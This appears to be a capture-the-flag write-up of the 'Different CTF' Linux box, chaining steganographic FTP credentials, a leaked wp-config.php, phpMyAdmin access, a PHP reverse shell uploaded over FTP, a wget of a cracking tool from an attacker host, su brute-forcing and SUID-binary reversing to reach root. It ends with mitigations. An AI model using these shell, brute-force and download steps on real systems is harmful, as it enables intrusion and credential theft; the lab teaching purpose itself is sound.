Summary
Different CTF is an easy-rated Linux box built around a WordPress install with an
exposed wp-config.php, an FTP service reachable with credentials hidden inside a
steganographic image, and a custom SUID binary that gates root access behind another
layer of encoding. The path to root involves chaining FTP creds -> phpMyAdmin ->
database recon -> subdomain discovery -> a webshell over FTP upload -> an offline
password crack against su -> and finally decoding a custom SUID binary's hint
through CyberChef to recover the root password.
Target: <MACHINE_IP> (adana.thm)
1. Reconnaissance
Started with a full port scan:
nmap -A -p- <MACHINE_IP> -o nmap
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-generator: WordPress 5.6
|_http-title: "Hello World – Just another WordPress site"
FTP and a WordPress 5.6 site on Apache 2.4.29. Added the hostname to /etc/hosts
right away since the site referenced adana.thm in redirects later on:
echo '<MACHINE_IP> adana.thm' >> /etc/hosts
1.1 Directory brute force
Ran dirsearch first, then gobuster against the vhost once it resolved:
dirsearch -u http://<MACHINE_IP>
[..snip..]
200 - 0B - /wp-config.php
200 - 504B - /wp-admin/install.php
301 - 319B - /phpmyadmin -> http://<MACHINE_IP>/phpmyadmin/
[..snip..]
Two things stood out immediately:
-
/wp-config.phpreturning200 - 0B(PHP is executing it, so no leak over HTTP by itself, but worth remembering) -
/wp-admin/install.phpreturning200 - 504Binstead of a redirect, which usually means WordPress isn't fully "installed" from its own point of view
gobuster against the vhost turned up an extra directory that dirsearch had missed:
gobuster dir -u http://adana.thm/ -w /usr/share/wordlists/dirb/big.txt
announcements (Status: 301) [Size: 314] [--> http://adana.thm/announcements/]
javascript (Status: 301) [Size: 311] [--> http://adana.thm/javascript/]
phpmyadmin (Status: 301) [Size: 311] [--> http://adana.thm/phpmyadmin/]
wp-admin (Status: 301) [Size: 309]
wp-content (Status: 301) [Size: 311]
wp-includes (Status: 312)
/announcements was the interesting one, nothing WordPress-related about the name.
2. Steganography rabbit hole
Browsing /announcements/ gave a directory listing:
curl http://adana.thm/announcements/
<a href="austrailian-bulldog-ant.jpg">austrailian-bulldog-ant.jpg</a> 58K
<a href="wordlist.txt">wordlist.txt</a> 394K
An image sitting right next to a wordlist is about as strong a hint as CTFs get, so
this was steghide territory. Pulled both files down:
curl http://adana.thm/announcements/austrailian-bulldog-ant.jpg --output ant.jpg
curl http://adana.thm/announcements/wordlist.txt --output wordlist.txt
exiftool on the image came back clean, nothing embedded in metadata, so moved
straight to cracking the steg password with the provided wordlist:
stegcracker ant.jpg wordlist.txt
Successfully cracked file with password: 123adanaantinwar
Tried 49316 passwords
Your file has been written to: ant.jpg.out
The extracted file was base64:
cat ant.jpg.out
RlRQLUxPR0lOClVTRVI6IGhha2FuZnRwClBBU1M6IDEyM2FkYW5hY3JhY2s=
cat ant.jpg.out | base64 -d
FTP-LOGIN
USER: hakanftp
PASS: 123adanacrack
FTP credentials, straight out of a picture of an ant. Noted the recurring
123adana... prefix pattern in these passwords, it comes back later.
3. FTP access and WordPress config leak
ftp adana.thm 21
Logged in as hakanftp and found the web root sitting there, fully accessible:
ftp> ls -la
-rw------- 1 1001 1001 88 Jan 13 2021 .bash_history
-rw-r--r-- 1 1001 1001 554 Jan 10 2021 .htaccess
drwxr-xr-x 2 0 0 4096 Jan 14 2021 announcements
-rw-r--r-- 1 0 0 3194 Jan 11 2021 wp-config.php
[..snip..]
.bash_history was tiny but readable:
ftp> get .bash_history
id
su root
ls
cd ..
[..snip..]
Not much actionable there beyond confirming su root is a thing people do on this
box. The real prize was wp-config.php:
ftp> get wp-config.php
define( 'DB_NAME', 'phpmyadmin1' );
define( 'DB_USER', 'phpmyadmin' );
define( 'DB_PASSWORD', '12345' );
define( 'DB_HOST', 'localhost' );
Database creds in plaintext, and phpMyAdmin was already sitting exposed at
/phpmyadmin/.
4. phpMyAdmin -> subdomain discovery
Logged into phpMyAdmin with phpmyadmin:12345.
![phpMyAdmin login]
Landed on the server overview, confirming MySQL 5.7.32 / Apache 2.4.29 / PHP 7.2.24.
Browsed to the phpmyadmin1 database, wp_options table, and the siteurl /
home rows both pointed somewhere unexpected:
siteurl -> http://subdomain.adana.thm
home -> http://subdomain.adana.thm
Not adana.thm itself, a subdomain. This explained why an earlier attempt to drop a
webshell at http://adana.thm/revshell.php came back 404 Not Found, wrong vhost
entirely. Added the subdomain to /etc/hosts and moved on.
5. Webshell via FTP upload -> initial foothold
With write access over FTP as hakanftp, uploaded a PHP reverse shell directly into
the web root:
ftp> put revshell.php
ftp> chmod 777 revshell.php
Started a listener and hit the shell on the correct vhost this time:
penelope -p 4444 listen
[+] [New Reverse Shell] => ubuntu <ATTACKER_VISIBLE_IP> Linux-x86_64 www-data(33)
www-data@ubuntu:/$ whoami
www-data
www-data@ubuntu:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Confirmed there are two web roots on this box, /var/www/html (the main site) and
/var/www/subdomain (where the shell landed):
www-data@ubuntu:/$ ls /var/www
html subdomain
The web flag was sitting in the main site's root:
www-data@ubuntu:/$ cat /var/www/html/wwe3bbfla4g.txt
THM{REDACTED}
/etc/passwd showed the two accounts of interest:
root:x:0:0:root:/root:/bin/bash
hakanbey:x:1000:1000:hakanbey:/home/hakanbey:/bin/bash
hakanftp:x:1001:1001:,,,:/var/www/subdomain:/bin/bash
/home/hakanbey was permission-denied as www-data, so privesc from here needed
another angle.
6. Bruteforcing su for hakanbey
find / -perm -4000 didn't turn up anything useful yet (the interesting SUID binary
shows up later, in /usr/bin, readable only after becoming hakanbey). sudo -l
wasn't available to www-data at all. With hakanbey's password unknown, and the
strong 123adana... pattern seen twice already, the plan was to bruteforce su
locally using sucrack, seeded with a wordlist built from that pattern:
sed 's/^/123adana/' wordlist.txt > new_wordlist.txt
6.1 First attempt: precompiled binary, wrong glibc
Grabbed a precompiled sucrack from a local python http.server and tried to run it
on the target:
www-data@ubuntu:/tmp$ ./sucrack -u hakanbey -t 8 -w new_wordlist.txt
./sucrack: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.33' not found (required by ./sucrack)
The target's glibc (2.27, an 18.04 box) was too old for the binary I'd grabbed from
my Kali box. Dead end, needed to compile from source against the target's own
toolchain instead.
6.2 Building sucrack from source on the target
wget http://<ATTACKER_IP>/sucrack_1.2.3.orig.tar.gz
tar xf sucrack_1.2.3.orig.tar.gz
cd sucrack-1.2.3
./configure
make
The stock make failed at the link stage:
sucrack-worker.o: In function `worker_spawn':
worker.c:113: undefined reference to `pthread_create'
collect2: error: ld returned 1 exit status
Missing -lpthread on the final link command for some reason (autotools quirk on
this older toolchain). Linked it manually instead:
cd src
gcc -g -O2 -o sucrack sucrack-sucrack.o sucrack-worker.o sucrack-dictionary.o \
sucrack-pty.o sucrack-su.o sucrack-rewriter.o sucrack-util.o sucrack-stat.o \
sucrack-rules.o -lpthread
chmod +x sucrack
That produced a working binary built natively against the target's glibc.
6.3 Cracking the password
./sucrack -w 100 -u hakanbey ../../new_wordlist.txt
password is: 123adanasubaru
su hakanbey
(remote) hakanbey@ubuntu:/var/www$ whoami
hakanbey
(remote) hakanbey@ubuntu:/var/www$ id
uid=1000(hakanbey) gid=1000(hakanbey) groups=1000(hakanbey),4(adm),24(cdrom),30(dip),46(plugdev),108(lxd)
Grabbed the user flag:
cat /home/hakanbey/user.txt
THM{REDACTED}
7. Root: the custom SUID binary
sudo -l for hakanbey came back empty. Enumerated SUID binaries again, this time
with hakanbey's broader read access, and one stood out among the usual system
binaries:
find / -perm -4000 2>/dev/null
/usr/bin/binary
ls -la /usr/bin/binary
-r-srwx--- 1 root hakanbey 12984 Jan 14 2021 /usr/bin/binary
Owned by root, SUID, and group-executable by hakanbey specifically. Pulled apart
its strings before running it:
strings /usr/bin/binary | head -50
I think you should enter the correct string here ==>
/root/hint.txt
Hint! : %s
/root/root.jpg
Unable to open source!
/home/hakanbey/root.jpg
Copy /root/root.jpg ==> /home/hakanbey/root.jpg
Looked like a gated file-copy: enter the right passphrase, and it copies
/root/root.jpg into hakanbey's home directory, printing a hint along the way.
Rather than guess, tried ltrace against it to watch how the comparison string gets
built at runtime, and threw in a ;id as the input just to see how it handled
unexpected input along the way:
ltrace /usr/bin/binary
strcat("war", "zone") = "warzone"
strcat("warzone", "in") = "warzonein"
strcat("warzonein", "ada") = "warzoneinada"
strcat("warzoneinada", "na") = "warzoneinadana"
printf("I think you should enter the cor"...) = 52
__isoc99_scanf(0x5618ba926edd, 0x7fffd21eb9e0, 0, 0I think you should enter the correct string here ==>;id
) = 1
strcmp(";id", "warzoneinadana") = -60
strcat("pki", "l") = "pkil"
strcat("pkil", "l") = "pkill"
strcat("pkill", " -9") = "pkill -9"
strcat("pkill -9", " -t") = "pkill -9 -t"
strcat("pkill -9 -t", " pts") = "pkill -9 -t pts"
strcat("pkill -9 -t pts", "/0") = "pkill -9 -t pts/0"
system("pkill -9 -t pts/0"pkill: killing pid 2868 failed: Operation not permitted
pkill: killing pid 7487 failed: Operation not permitted
[00:21:52] warning: <ATTACKER_IP>:57526: connection reset
Two useful things fall out of this trace. First, the binary builds the expected
passphrase piecemeal via a chain of strcat calls, "war" + "zone" + "in" + "ada" + =
"na""warzoneinadana", then strcmps it against whatever was typed in. No need
to guess the pattern by hand, ltrace just hands you the literal comparison value.
Second, entering ;id as a wrong guess triggers a punitive system("pkill -9 -t that kills the current pty (a crude anti-tampering measure, and also a hint
pts/0")
that the input isn't sanitized before hitting something command-related, though it
didn't pan out as an injection point here since the killed session interrupted
things before that could be explored further).
With the real passphrase in hand from the trace, ran the binary properly:
/usr/bin/binary
I think you should enter the correct string here ==>warzoneinadana
Hint! : Hexeditor 00000020 ==> ???? ==> /home/hakanbey/Desktop/root.jpg (CyberChef)
Copy /root/root.jpg ==> /home/hakanbey/root.jpg
Correct passphrase (warzoneinadana), and a hint pointing straight at hex-editing
the copied JPEG and running it through CyberChef.
7.1 Pulling the hidden bytes
Followed the hint and dumped 16 bytes starting at offset 0x20 in the copied
root.jpg:
xxd -s 0x00000020 -l 16 -p root.jpg
fee99d3d79185ffc826ddf1c69acc275
7.2 Decoding in CyberChef
Fed that hex string into CyberChef with a two-step recipe: From Hex (Auto
delimiter) into To Base85 with a custom alphabet (!-u).
Output:
root:Go0odJo0BbBro0o
A user:password pair for root, hidden behind hex offsets and a non-standard Base85
alphabet, a nice final twist for an "easy" box.
7.3 Root
su root
root@ubuntu:~# cat root.txt
THM{REDACTED}
Root achieved.
Key Vulnerabilities
| # | Vulnerability | Impact |
|---|---|---|
| 1 | JPEG on an unauthenticated directory listing conceals steghide-protected FTP credentials, cracked with a provided wordlist | Initial FTP access as hakanftp
|
| 2 |
wp-config.php readable in plaintext over FTP (world-readable file permissions) |
Database credentials disclosure |
| 3 | phpMyAdmin exposed with weak/default credentials (phpmyadmin:12345) |
Full database read/write, discovery of hidden subdomain vhost |
| 4 | FTP account has write access to the live web root of a second vhost | Arbitrary PHP webshell upload -> RCE as www-data
|
| 5 | Weak, guessable su password for hakanbey, following a predictable pattern seen elsewhere on the box |
Local privilege escalation via offline/local su bruteforce |
| 6 | Custom root-owned SUID binary gated by a weak hardcoded passphrase, leaking a further encoded root credential | Privilege escalation to root |
Attack Chain
[Nmap: FTP 21 + WordPress 80]
|
v
[/announcements: ant.jpg + wordlist.txt]
| stegcracker + wordlist
v
[steg payload -> base64 -> FTP creds: hakanftp]
|
v
[FTP login] --> [.bash_history hint] --> [wp-config.php: DB creds]
|
v
[phpMyAdmin login: phpmyadmin/12345]
|
v
[wp_options: siteurl -> subdomain.adana.thm]
|
v
[FTP upload revshell.php to subdomain webroot]
|
v
[RCE as www-data] --> [web flag]
|
v
[sucrack (built from source) bruteforces su for hakanbey]
|
v
[su hakanbey] --> [user flag]
|
v
[/usr/bin/binary SUID: passphrase "warzoneinadana"]
|
v
[hex dump root.jpg @0x20 -> CyberChef From Hex -> To Base85 (custom alphabet)]
|
v
[root credentials] --> [su root] --> [root flag]
Mitigations
- Do not store credentials, even "hidden" ones, inside images served from a world-readable directory. Steganography is not a substitute for access control.
- Restrict FTP account permissions to the minimum required;
hakanftpshould not have had read access towp-config.phpor write access to a live web root. - Set restrictive file permissions on
wp-config.php(640or tighter, owned by the web server user only) so credentials aren't recoverable via any file-read path. - Remove or properly secure phpMyAdmin in production; if it must be exposed, enforce strong, unique credentials and restrict access by IP.
- Don't reuse predictable password patterns across services; a leaked password fragment on one account should not make other accounts guessable.
- Enforce strong, randomly generated passwords for all local accounts subject to
su, and consider rate-limiting or disablingsubruteforce vectors (e.g.pam_tally2/faillock). - Avoid custom SUID binaries that gate access with hardcoded or weak secrets;
any embedded "hint" mechanism defeats the purpose of the control. Prefer proper
sudorules with least privilege instead of bespoke SUID tooling.
Top comments (0)